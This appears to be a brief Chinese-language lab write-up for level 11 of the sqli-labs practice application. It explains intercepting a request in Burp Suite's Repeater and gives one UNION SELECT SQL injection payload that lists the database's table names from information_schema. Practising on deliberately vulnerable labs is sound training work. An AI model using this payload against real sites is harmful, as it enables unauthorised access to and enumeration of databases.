sqli labs less-11

使用burpsuite进行拦截。在空白处右击，选择’send to repeater’,然后点击’repeater‘。 接下来便可以进行注入。 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

>>阅读原文<<